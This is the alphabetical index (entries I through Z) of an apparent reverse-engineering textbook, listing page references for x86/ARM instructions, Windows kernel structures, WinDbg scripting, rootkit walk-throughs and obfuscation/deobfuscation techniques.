IO_STACK_LOCATION structures, 

175–176

IO_STATUS_BLOCK structure, 161

IoAllocateWorkItem function, 129

IoCompleteRequest, 143–144

IoCreateDevice (x86 rootkit), 

156–157

IOCTL operations/codes, 

151–152

IRP handlers, analyzing (drivers), 

160–161

IRP handling (drivers), 150

ISB instruction (ARM), 68

IT (If-then bits) fl ag, 61–62

IT (if-then) instruction, 64

J

j command (DbgEng), 230

Jazelle extension (ARM), 40

Jcc instructions, 17–18

JIT (just-in-time) code, 67

JMP instructions, 22

JMP-like branch, 279

Josse, Sébastien, 304

jump tables, 21–22, 64–65

junk code insertion, 271, 284

K

KAPC structure, 132

KDPC structure, 135–137

KdVersionBlock, 121, 123

KeInitializeApc API, 132–133

KeInsertQueueDpc kernel function, 

115

kernel

Kernel Debugger (KD), 188–189

kernel drivers. See drivers, kernel

kernel memory space, 88

Kernel Patch Protection feature, 153

kernel synchronization primitives 

(Windows), 110–111

kernel-mode APCs, 131–132

kernel-mode driver framework 

(KMDF), 147

KeServiceDescriptorTable 

(drivers), 153–155

KeStackAttachProcess, 110

KLDR_DATA_TABLE_ENTRY structure, 

121

KNODE structures, 130

KPRCB structure, 137

KSECDD driver, 183

KSPIN_LOCK structure, 111

KTHREAD kernel data structure, 

107–108

KTHREAD structure, 134–135

KTIMER structure, 140–141

L

LARGE_INTEGER structure, 172

LDMFD pseudo-instruction, 55

LDM/STM instructions (ARM), 52–55

LDR pseudo-instructions (ARM), 

51–52

LDREX instruction (ARM), 67–68

LDR/STR instructions (ARM), 47–51

LEA instruction, 5, 9

left/right shift instructions, 12

legacy fi lter drivers, 146

legacy software drivers, 146

link register (LR) (ARM), 43
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lists (Windows kernel)

implementation details, 112–119

list manipulation functions in kernel 

mode walk-through, 119–123

overview, 111–112

LLVM (Low Level Virtual Machine) 

compilation chain, 305, 307, 

311, 325

lm command (kernel mode 

debugging), 211

loading/storing data (ARM)

LDM/STM instructions, 52–55

LDR pseudo-instructions, 51–52

LDR/STR instructions, 47–51

overview, 47

PUSH/POP instructions, 56–57

LocalSystem privilege, 183

LODS instruction, 11

loops

basics, 22–25

unrolling, 316

M

Macro Assembler (MASM), 190–193

MajorFunction array, 158

malware, 267, 341

Manufacturing Cheap, Resilient, and 
Stealthy Opaque Constructs, 283

masks, register, 199–201

memory

address and range notations, 203–204

dumping contents of, 205–206

editing contents of, 206–207

memory breakpoints (DR0–DR3), 3

memory descriptor lists (MDLs) 

(Windows), 106–107

memory dump window, 190

memory layout (Windows), 88–89

memory-related commands 

(debugging), 203–208

methods for specifying access, 5–6

miscellaneous commands, 207–208

movement methods between 

registers and, 3–4

Metasm open source framework

backtracking/slicing, 298–302

code binding, 302

Disassembler callbacks, 296

instruction semantics, 297–298

overview, 296

using, 317–325, 331

Miasm reverse engineering 

framework, 302–304

MmGetPhysicalAddress API, 181

Mode bits (M), 44

model-specifi c registers (MSRs). See 

MSRs (model-specifi c registers) 

(x86)

modules, inspecting (debugging), 

211–214

MOV/MOVS instruction, 3, 60

MOVSB/MOVSW/MOVSD instructions, 8–9

MOVW/MOVT instructions, 60

MRC (read)/MCR (write) instructions, 45

MSRs (model-specifi c registers) (x86), 

3

MUL instruction, 12

MUL instruction (ARM), 61

mutexes, 111

N

N (Negative fl ag), 61–62

namomites feature (Armadillo), 283

Neither buffering method, 151–152

Never Execute (NX), 182

non-paged pool memory (Windows), 

106

non-signaled events, 110

normalization module (VxStripper), 

310–311

NOT operator, 275

NT Symbolic Debugger (NTSD), 

188–189

NT_SUCCESS() macro, 157–158
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obfuscation case study

analyzing handlers semantics, 

330–333

fi rst analysis, 328–330

overview, 328

solving the challenge, 334–336

symbolic execution, 333–334

obfuscation techniques

control-based, 278–283

data-based, 273–277

deobfuscation techniques. See 

deobfuscation techniques

example, 269–273

overview, 267–269

security by obscurity, 288–289

simultaneous control-fl ow/data-fl ow, 

284–288

A Taxonomy of Obfuscating 
Transformations, 283

offset mode, 50–51

OllyDbg script, 312–313

opaque predicates, 283

opcodes, coprocessor, 45

operating system-control indirection, 

282–283

operation-preserving mappings 

(algebraic structures), 274

operators (expressions), 192–194

Optimice plugin, 296

OR operator (|), 200

outline functions, 279

output of commands, tokenizing 

from, 237–238

over-approximation program 

analyses, 290

P

page faults, 95

paged pool memory (Windows), 106

PandaBoard, 77–78

ParentNode fi eld, 130

partial evaluation techniques 

(optimization), 291

PASSIVE LEVEL (0) IRQL, 105

PatchGuard, 153, 183

pattern-based deobfuscation, 312–313

pattern-based obfuscation, 271, 

275–277

PC-relative addressing, 51

peephole compiler optimization, 271, 

277

pool memory (Windows), 106

POP/PUSH operations (stacks), 13

post-indexed address mode, 50–51

predefi ned pseudo-registers, 216–218

.prefer_dml 1 command, 215

pre-indexed address mode, 50–51

.printf command (debugger), 

214–216

printf function, 23

privileges, modes defi ning (ARM), 

40–41

process environment block (PEB), 109

!process extension command, 212

processes and threads

basics, 107–109

callbacks, 142

control (debugging), 194–198

processors

processor control block structures 

(Windows XP), 120–121

processor control region (PCR), 89

processor initialization (Windows), 

89–91

processor region control block 

(PRCB), 89–90

processor-based control indirection 

(obfuscation), 280–282

program counter (PC) (ARM), 43–44

program transformations 

(obfuscation), 268

program-analysis-based 

deobfuscation, 313–315

protected mode (x86), 1
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PsCreateSystemThread API, 128

pseudo-instructions, 51, 55

pseudo-registers (scripting), 216–219

PUSH/POP

 operations (stacks), 13

instructions (ARM), 56–57

PUSH-RET instruction, 279, 282

Q

QEMU (Quick EMUlator) Dynamic 

Binary Translator (DBT), 305–307

R

r command (registers), 198–199

Radare framework, 312

Range parameter (memory), 204

RBP register, 36

RDMSR/WRMSR instructions, 3

RDTSC instruction, 3

real mode (x86), 1

references (Windows kernel), 179

registers

ARM architecture, 43–44

management (debugging), 198–203

window, 190

x64 architecture, 36

x86 architecture, 2–4

RegistryPath (drivers), 149

REP prefi x, 9–10

repetition structures (scripting)

do-while loops, 235–236

foreach loops, 236–240

for loops, 233–234

overview, 232–233

while loops, 234–235

RESET exception handler, 68

resources, debugging, 264–265

RET instruction, 15, 278, 298

return addresses, 55

Reversing a simple virtual machine, 316

right/left shift instructions, 12

ring levels (x86), 1–2

RIP-relative addressing (x64), 36–37, 51

Rolles, Rolf, 312

rootkits

root-kit analysis (VxStripper), 309

x64 rootkit analysis walk-through, 

172–178

x86 rootkit analysis walk-through, 

156–171

Rough C, 25

round-based cryptography, 288–289

S

SCAS instructions, 10–11

scripting with Debugging Tools

aliases. See aliases (DbgEng)

blocks, 228–229

characters and strings, 227–228

comments ($$ command), 226–227

conditional statements, 229–231

debug script examples, 249–256

pseudo-registers, 216–219

repetition structures. See repetition 

structures (scripting)

script errors, 231–232

script fi le commands, 240–244

using scripts like functions, 244–249

SCSI Commands Reference Manual, 185

SDK for extending debugger

debugger interfaces, 258–261

extension resources, 264–265

overview, 257–258

WinDbg extension APIs, 261–262

writing extensions, 262–264

sections (drivers), 155

security, achieving by obscurity, 

288–289

SEH handler, 282

semantics

concrete, 290–291

instruction, 297–298

semantic equivalence, 268

sequenced singly-linked lists, 112

sequential locality, 279–280
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service table descriptors, 92–93

SETNE instruction, 42

SHA1 hashes (malware), 341

SIDT instruction, 30

signaled events, 110

signed/unsigned division, 13

single-instruction multiple data 

(SIMD) instruction set, 45

singly-linked lists, 112

slicing/backtracking (Metasm), 

297–302

SMC (self-modifying code), 67

SMULL instruction (ARM), 61

software breakpoints (DbgEng), 

208–210

software interrupts (ARM), 69

soundness/completeness of analysis 

algorithms, 290, 293–295

spaghetti code, 279

Spasojevic, Branko, 296

spin locks, 111

stack operations (x86), 13–17

stack pointer (SP) (ARM), 43

stack-based obfuscation, 271

static IRPs, 145

static slicing criteria, 291

static/dynamic analysis techniques, 

290, 291–293

STDCALL calling convention, 32

STMFD pseudo-instruction, 55

STMIA/STMEA pseudo-instructions, 47

STOS instructions, 10–11

strength reduction (arithmetic 

operations), 12

STREX instruction (ARM), 67–68

strings (scripting)

and characters, 227–228

tokenizing from, 236–237

writing basic descrambler script, 

255–256

strlen() function (C), 10

struct fi eld names, 74

SUB instruction, 14

sub_10460 leaf routine, 158, 166

sub_10550 routine, 166

sub_11553/sub_115DA functions, 121

SVC instruction, 102

SVC mode, 70

SWI/SVC instruction, 69

switch-case blocks, 19–20

switch-case statements (ARM), 65–66

sxe/sxd commands (debugging), 198

symbolic executions, 292–294, 322, 

333–334

symbols

commands for inspecting, 208

symbol paths, setting (debugging), 

189

synchronization primitives

ARM architecture, 67–68

kernel, 110–111

syntax

ARM assembly, 46

expression evaluation (debugger), 190

notations for x86 assembly code/

Intel/AT&T, 4–5

SYSENTER instruction, 28, 100–101

system calls (Windows)

basics, 92–94

faults/traps/interrupts overview, 

94–95

interrupts, 95–98

traps, 98–104

system context (kernels), 109–110

system control coprocessor (CP15), 45

system control registers (drivers), 153

system services and mechanisms 

(ARM), 68–70

system threads, 128–129

system-level controls/settings (ARM), 

45

system-level mechanisms (x85), 25–28

T

A Taxonomy of Obfuscating 
Transformations, 283

TBB/TBH instructions (ARM), 65–66

TCG (Tiny Code Generator), 305–307
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TEB (Thread Environment Block) 

structure, 203

temporal locality, 279–280

testing

ARM knowledge, 77–78

dynamic, 292

TEST instruction, 18

threads

processes and. See processes and 

threads

thread and process callbacks, 142

thread context (kernels), 109–110

thread environment block (TEB), 109

thread suspension with APCs, 134

Thumb bit (T), 44

Thumb extension (ARM), 40

Thumb state, 41–42

Thumb-2-specifi c instructions (ARM), 

64–65

timers, 110–111, 140–141

tokenizing

from fi les, 238

from output of commands, 237–238

from strings, 236–237

trace semantics, 290

transformation inversion. See 

deobfuscation techniques

translation blocks (TCG instructions), 

305

trap exceptions, 28

traps (system calls), 95, 98–104

U

U-Boot bootloader, 69

UDPRs (user-defi ned pseudo-

registers). See users

UMULL instruction (ARM), 61

under-approximation program 

analyses, 290

UNICODE_STRING structure, 156

unpacking module (VxStripper), 

309–310

unresolved breakpoints (debugging), 

209–210

unsigned/signed division (DIV/IDIV), 

13

UPX unpacker, writing (debug script), 

250–253

users

user-defi ned pseudo-registers 

(UDPRs), 218–219, 242, 244–249

user/kernel address ranges, 89

user-kernel communication (drivers), 

150–152

user-mode APCs, 131–132

user-mode driver framework 

(UMDF), 147

user-named aliases (DbgEng), 219–224

V

V (Overfl ow fl ag), 61–62

Vellvm (Verifi ed LLVM), 305

virtual address translation, 25–27

virtual black box property, 287–288

Virtual machines re-building, 316

virtual machines (VMs), 286

VM implementations (code 

virtualization), 315–317

VxStripper binary rewriting tool

API hooking module of, 309

architecture of, 308

basics, 304–305

forensics module/root-kit analysis, 

309

normalization module, 310–311

QEMU DBT extension, 306–307

unpacking module, 309–310

using, 325–328

W

walking back control fl ows, 299–300

WdbgExts extension framework 

(SDK), 257–261

websites for downloading

idaocaml interpreter, 312

Metasm open source framework, 296
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Miasm reverse engineering 

framework, 302

Optimice plugin, 296

Radare framework, 312

websites for further information

BeaEngine by BeatriX, 36

control-fl ow deobfuscations, 284

debugging, 264–265

x64 ABI on Windows, 37

x86 Opcode and Instruction 

Reference, 296

while loops (scripting), 234–235

white box attack context (WBAC), 268, 

286–288

Win32 API functions, 32

WinDbg extension APIs (SDK), 261–262

WinDbg graphical interface, 188–189

windows, debugger, 189–190

Windows Driver Model (WDM), 147

Windows fundamentals

execution context, 109–110

interrupt request level (IRQL), 

104–106

kernel synchronization primitives, 

110–111

memory descriptor lists (MDLs), 

106–107

memory layout, 88–89

pool memory, 106

processes and threads, 107–109

processor initialization, 89–91

system calls. See system calls 

(Windows)

Windows kernel

asynchronous and ad-hoc execution. 

See asynchronous and ad-hoc 

execution

I/O request packets (IRPs), 144–146

kernel drivers. See drivers, kernel

lists. See lists (Windows kernel)

overview, 87–88

references/tips/exercises, 179–184

x64 rootkit walk-through, 172–178

x86 rootkit walk-through, 

156–171

Windows object manager, 156

work items, 129–131

X

x64 architecture

canonical addresses, 37

data movement, 36–37

function invocation, 37

register sets and data types, 36

rootkit walk-through, 172–178

x86 architecture

DllMain routine walk-through, 

28–34

instruction set. See instructions

 (x86)

Opcode and Instruction Reference, 

296

overview, 1–2

register sets and data types, 2–3

rootkit walk-through, 156–171

system-level mechanisms, 25–28

variable-length instruction ranges, 4

XOR swap trick, 270

Z

Z (Zero fl ag), 61–62

–z  command-line switch, 188–189 
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